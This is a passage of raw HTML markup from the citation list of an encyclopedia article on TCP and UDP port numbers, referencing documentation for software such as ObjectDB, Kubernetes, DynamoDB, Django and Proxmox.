class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-objectdb-jpa-setting-server-263\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-objectdb-jpa-setting-server_263-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.objectdb.com/java/jpa/setting/server\">\"Server Configuration\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"http://www.objectdb.com/java/jpa\"><i>ObjectDB 2.6 Developer's Guide</i></a>. n.d. Chapter 6. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161121054616/http://www.objectdb.com/java/jpa/setting/server\">Archived</a> from the original on 2016-11-21<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-11-21</span></span>. <q>...&#160;The port attribute specifies a TPC&#32;&#91;<i><a href=\"/wiki/Sic\" title=\"Sic\">sic</a></i>&#93; port on which the server is listening for new connections. Usually the default port <code>6136</code> should be specified.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Server+Configuration&amp;rft.btitle=ObjectDB+2.6+Developer%27s+Guide&amp;rft.pages=Chapter+6&amp;rft_id=http%3A%2F%2Fwww.objectdb.com%2Fjava%2Fjpa%2Fsetting%2Fserver&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-264\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-264\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://kubernetes.io/docs/reference/ports-and-protocols/\">\"Ports and Protocols\"</a>. <i>Kubernetes</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2021-11-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Kubernetes&amp;rft.atitle=Ports+and+Protocols&amp;rft_id=https%3A%2F%2Fkubernetes.io%2Fdocs%2Freference%2Fports-and-protocols%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-265\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-265\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://discordapp.com/developers/docs/topics/rpc#rpc-server-ports\">\"Discord API Docs for Bots and Developers\"</a>. <i>Discord</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-12-23</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Discord&amp;rft.atitle=Discord+API+Docs+for+Bots+and+Developers&amp;rft_id=https%3A%2F%2Fdiscordapp.com%2Fdevelopers%2Fdocs%2Ftopics%2Frpc%23rpc-server-ports&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-266\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-266\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFFuyouYuzhiSalowey2008\" class=\"citation cs1\">Fuyou, Miao; Yuzhi, Ma; Salowey, Joseph A. (2008-11-10). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/rfc5425\"><i>Transport Layer Security (TLS) Transport Mapping for Syslog</i></a>. IETF. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC5424\">10.17487/RFC5424</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc5424\">5424</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Transport+Layer+Security+%28TLS%29+Transport+Mapping+for+Syslog&amp;rft.pub=IETF&amp;rft.date=2008-11-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC5424&amp;rft.aulast=Fuyou&amp;rft.aufirst=Miao&amp;rft.au=Yuzhi%2C+Ma&amp;rft.au=Salowey%2C+Joseph+A.&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc5425&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-267\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-267\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFMosberger2009\" class=\"citation web cs1\">Mosberger, David (20 Apr 2009). <a rel=\"nofollow\" class=\"external text\" href=\"http://www.sane-project.org/man/saned.8.html\">\"SANE Unix man page\"</a>. <i>SANE - Scanner Access Now Easy</i>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=SANE+-+Scanner+Access+Now+Easy&amp;rft.atitle=SANE+Unix+man+page&amp;rft.date=2009-04-20&amp;rft.aulast=Mosberger&amp;rft.aufirst=David&amp;rft_id=http%3A%2F%2Fwww.sane-project.org%2Fman%2Fsaned.8.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-268\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-268\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external free\" href=\"https://vb-audio.com/Voicemeeter/VBANProtocol_Specifications.pdf\">https://vb-audio.com/Voicemeeter/VBANProtocol_Specifications.pdf</a><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Bare_URLs\" title=\"Wikipedia:Bare URLs\"><span title=\"A full citation of this PDF document is required to prevent link rot. (June 2022)\">bare URL PDF</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-269\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-269\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWorldwide\" class=\"citation web cs1\">Worldwide. <a rel=\"nofollow\" class=\"external text\" href=\"http://www.cisco.com/en/US/products/ps6692/Products_Sub_Category_Home.html\">\"Application-Oriented Networking – Cisco Systems\"</a>. Cisco.com<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Application-Oriented+Networking+%E2%80%93+Cisco+Systems&amp;rft.pub=Cisco.com&amp;rft.au=Worldwide&amp;rft_id=http%3A%2F%2Fwww.cisco.com%2Fen%2FUS%2Fproducts%2Fps6692%2FProducts_Sub_Category_Home.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-270\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-270\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://fah.stanford.edu/projects/FAHClient/wiki/WebClientAuthenticatedSessionIDs\">\"WebClientAuthenticatedSessionIDs - FAHClient\"</a>. stanford.edu<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=WebClientAuthenticatedSessionIDs+-+FAHClient&amp;rft.pub=stanford.edu&amp;rft_id=https%3A%2F%2Ffah.stanford.edu%2Fprojects%2FFAHClient%2Fwiki%2FWebClientAuthenticatedSessionIDs&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-271\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-271\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.neo4j.org/chunked/stable/tools-webadmin.html\">\"The Neo4J Manual Chapter 27. Web Interface\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-06-12</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=The+Neo4J+Manual+Chapter+27.+Web+Interface&amp;rft_id=http%3A%2F%2Fdocs.neo4j.org%2Fchunked%2Fstable%2Ftools-webadmin.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-272\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-272\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://openit.com/faqs/#hrf-content-8578\">\"Open iT FAQs: What are the default port server of Open iT?\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Open+iT+FAQs%3A+What+are+the+default+port+server+of+Open+iT%3F&amp;rft_id=https%3A%2F%2Fopenit.com%2Ffaqs%2F%23hrf-content-8578&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-draft-wood-tsvwg-saratoga-273\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-draft-wood-tsvwg-saratoga_273-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWoodEddySmithIvancic2016\" class=\"citation cs1\">Wood, Lloyd; Eddy, Wesley M.; Smith, Charles; Ivancic, Will; Jackson, Chris (November 2016). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/draft-wood-tsvwg-saratoga-20\"><i>Saratoga: A Scalable Data Transfer Protocol</i></a>. Contributions by James H. McKim et al. (section 10 \"Acknowledgements\", p. 52). <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. I-D draft-wood-tsvwg-saratoga-20<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-03-27</span></span>. <q>...&#160;Saratoga is a file transfer and content delivery protocol&#160;...&#160;IANA has allocated port 7542 (tcp/udp) for use by Saratoga.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Saratoga%3A+A+Scalable+Data+Transfer+Protocol&amp;rft.pub=IETF&amp;rft.date=2016-11&amp;rft.aulast=Wood&amp;rft.aufirst=Lloyd&amp;rft.au=Eddy%2C+Wesley+M.&amp;rft.au=Smith%2C+Charles&amp;rft.au=Ivancic%2C+Will&amp;rft.au=Jackson%2C+Chris&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Fdraft-wood-tsvwg-saratoga-20&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-10.1109/IWSSC.2007.4409410-274\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-10.1109/IWSSC.2007.4409410_274-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFWoodEddyIvancicMcKim2007\" class=\"citation conference cs1\">Wood, Lloyd; Eddy, Wesley M.; Ivancic, Will; McKim, Jim; Jackson, Chris (13–14 September 2007). <i>Saratoga: a Delay-Tolerant Networking convergence layer with efficient link utilization</i>. 2007 International Workshop on Space and Satellite Communications. Salzburg: <a href=\"/wiki/Institute_of_Electrical_and_Electronics_Engineers\" title=\"Institute of Electrical and Electronics Engineers\">IEEE</a>. pp.&#160;168–172. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.1109%2FIWSSC.2007.4409410\">10.1109/IWSSC.2007.4409410</a>. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/978-1-4244-0938-9\" title=\"Special:BookSources/978-1-4244-0938-9\"><bdi>978-1-4244-0938-9</bdi></a>. <q>...&#160;Saratoga is a rate-based UDP file transfer protocol capable of transferring large files. Saratoga has been in operational use since 2004 to move mission imaging data from the <a href=\"/wiki/Disaster_Monitoring_Constellation\" title=\"Disaster Monitoring Constellation\">Disaster Monitoring Constellation</a> (DMC) remote-sensing satellites to ground stations.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=conference&amp;rft.btitle=Saratoga%3A+a+Delay-Tolerant+Networking+convergence+layer+with+efficient+link+utilization&amp;rft.place=Salzburg&amp;rft.pages=168-172&amp;rft.pub=IEEE&amp;rft.date=2007-09-13%2F2007-09-14&amp;rft_id=info%3Adoi%2F10.1109%2FIWSSC.2007.4409410&amp;rft.isbn=978-1-4244-0938-9&amp;rft.aulast=Wood&amp;rft.aufirst=Lloyd&amp;rft.au=Eddy%2C+Wesley+M.&amp;rft.au=Ivancic%2C+Will&amp;rft.au=McKim%2C+Jim&amp;rft.au=Jackson%2C+Chris&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-ms-win10-delivery-optimization-275\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-ms-win10-delivery-optimization_275-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20200408101256/https://docs.microsoft.com/en-us/windows/deployment/update/waas-delivery-optimization\">\"Delivery Optimization for Windows 10 updates\"</a>. <i>Microsoft Docs</i>. 2020. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.microsoft.com/en-us/windows/deployment/update/waas-delivery-optimization\">the original</a> on 2020-04-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-04-14</span></span>. <q>...&#160;Delivery Optimization listens on port 7680.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+Docs&amp;rft.atitle=Delivery+Optimization+for+Windows+10+updates&amp;rft.date=2020&amp;rft_id=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fwindows%2Fdeployment%2Fupdate%2Fwaas-delivery-optimization&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-276\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-276\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20130311124123/http://www.smartlaunch.net/Download/Smartlaunch_Product_Overview.pdf\">\"Smartlaunch 4.1 Cyber Cafe Management Software Product Overview\"</a> <span class=\"cs1-format\">(PDF)</span>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.smartlaunch.net/Download/Smartlaunch_Product_Overview.pdf\">the original</a> <span class=\"cs1-format\">(PDF)</span> on 2013-03-11<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Smartlaunch+4.1+Cyber+Cafe+Management+Software+Product+Overview&amp;rft_id=http%3A%2F%2Fwww.smartlaunch.net%2FDownload%2FSmartlaunch_Product_Overview.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-Midnight_Rambler-277\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-Midnight_Rambler_277-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://forum.ysfhq.com/viewtopic.php?f=144&amp;t=1529\">\"How to create a YSF Server, step by step guide\"</a>. <i>forum.ysfhq.com</i>. YSFlight Headquarters. 2011-08-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-26</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=forum.ysfhq.com&amp;rft.atitle=How+to+create+a+YSF+Server%2C+step+by+step+guide&amp;rft.date=2011-08-06&amp;rft_id=http%3A%2F%2Fforum.ysfhq.com%2Fviewtopic.php%3Ff%3D144%26t%3D1529&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-278\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-278\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120707191140/http://livedocs.adobe.com/flex/3/html/help.html?content=debugging_02.html\">\"Flex 3 – Adobe Flex 3 Help\"</a>. adobe.com. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://livedocs.adobe.com/flex/3/html/help.html?content=debugging_02.html\">the original</a> on 2012-07-07<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Flex+3+%E2%80%93+Adobe+Flex+3+Help&amp;rft.pub=adobe.com&amp;rft_id=http%3A%2F%2Flivedocs.adobe.com%2Fflex%2F3%2Fhtml%2Fhelp.html%3Fcontent%3Ddebugging_02.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120707191140if_/http://livedocs.adobe.com/flex/3/html/help.html?content=debugging_02.html\">Alt URL</a></span>\n</li>\n<li id=\"cite_note-aws-docs-dynamodb-developer-local-279\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-aws-docs-dynamodb-developer-local_279-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBLocal.html\">\"Running DynamoDB on Your Computer\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/\"><i>Amazon DynamoDB – Developer Guide</i></a> (API Version 2012-08-10&#160;ed.). <a href=\"/wiki/Amazon_Web_Services\" title=\"Amazon Web Services\">Amazon Web Services</a>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161024004612/https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBLocal.html\">Archived</a> from the original on 2016-10-24<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-24</span></span>. <q>...&#160;DynamoDB uses port 8000 by default.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Running+DynamoDB+on+Your+Computer&amp;rft.btitle=Amazon+DynamoDB+%E2%80%93+Developer+Guide&amp;rft.edition=API+Version+2012-08-10&amp;rft.pub=Amazon+Web+Services&amp;rft_id=https%3A%2F%2Fdocs.aws.amazon.com%2Famazondynamodb%2Flatest%2Fdeveloperguide%2FDynamoDBLocal.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-django-docs-1.10-tutorial01-280\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-django-docs-1.10-tutorial01_280-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation book cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.djangoproject.com/en/1.10/intro/tutorial01/\">\"Writing your first Django app\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.djangoproject.com/en/1.10/\"><i>Django documentation</i></a> (1.10&#160;ed.). <a href=\"/wiki/Django_Software_Foundation\" title=\"Django Software Foundation\">Django Software Foundation</a>. 2016. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161024005546/https://docs.djangoproject.com/en/1.10/intro/tutorial01/\">Archived</a> from the original on 2016-10-24<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">24 July</span> 2016</span>. <q>...&#160;By default, the <code>runserver</code> command starts the development server on the internal IP at port 8000.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Writing+your+first+Django+app&amp;rft.btitle=Django+documentation&amp;rft.edition=1.10&amp;rft.pub=Django+Software+Foundation&amp;rft.date=2016&amp;rft_id=https%3A%2F%2Fdocs.djangoproject.com%2Fen%2F1.10%2Fintro%2Ftutorial01%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-281\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-281\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://github.com/python/cpython/blob/main/Lib/http/server.py\">\"cpython/server.py\"</a>. <i>GitHub</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-05-16</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=GitHub&amp;rft.atitle=cpython%2Fserver.py&amp;rft_id=https%3A%2F%2Fgithub.com%2Fpython%2Fcpython%2Fblob%2Fmain%2FLib%2Fhttp%2Fserver.py&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-282\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-282\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/about-client-settings#port-that-clients-use-to-receive-requests-for-delta-content\">\"About Client Settings\"</a>. <i>docs.microsoft.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-05-11</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=docs.microsoft.com&amp;rft.atitle=About+Client+Settings&amp;rft_id=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fmem%2Fconfigmgr%2Fcore%2Fclients%2Fdeploy%2Fabout-client-settings%23port-that-clients-use-to-receive-requests-for-delta-content&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-appassure-kb-firewall-port-283\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-appassure-kb-firewall-port_283-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-appassure-kb-firewall-port_283-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20130122023421/http://www.appassure.com/support/KB/appassure-5-firewall-port-requirements/\">\"AppAssure 5 Firewall Port Requirements\"</a>. AppAssure (Knowledge Base). <i><a href=\"/wiki/Dell\" title=\"Dell\">Dell</a></i> (published 2012-10-23). 2012-10-01. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.appassure.com/support/KB/appassure-5-firewall-port-requirements/\">the original</a> on 2013-01-22<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-02-12</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Dell&amp;rft.atitle=AppAssure+5+Firewall+Port+Requirements&amp;rft.date=2012-10-01&amp;rft_id=http%3A%2F%2Fwww.appassure.com%2Fsupport%2FKB%2Fappassure-5-firewall-port-requirements%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-284\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-284\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://pve.proxmox.com/pve-docs/chapter-pve-firewall.html#_ports_used_by_proxmox_ve\">\"Proxmox VE Firewall - Ports used by Proxmox VE\"</a>. <i>pve.proxmox.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-05-24</span></span>.</cite><span 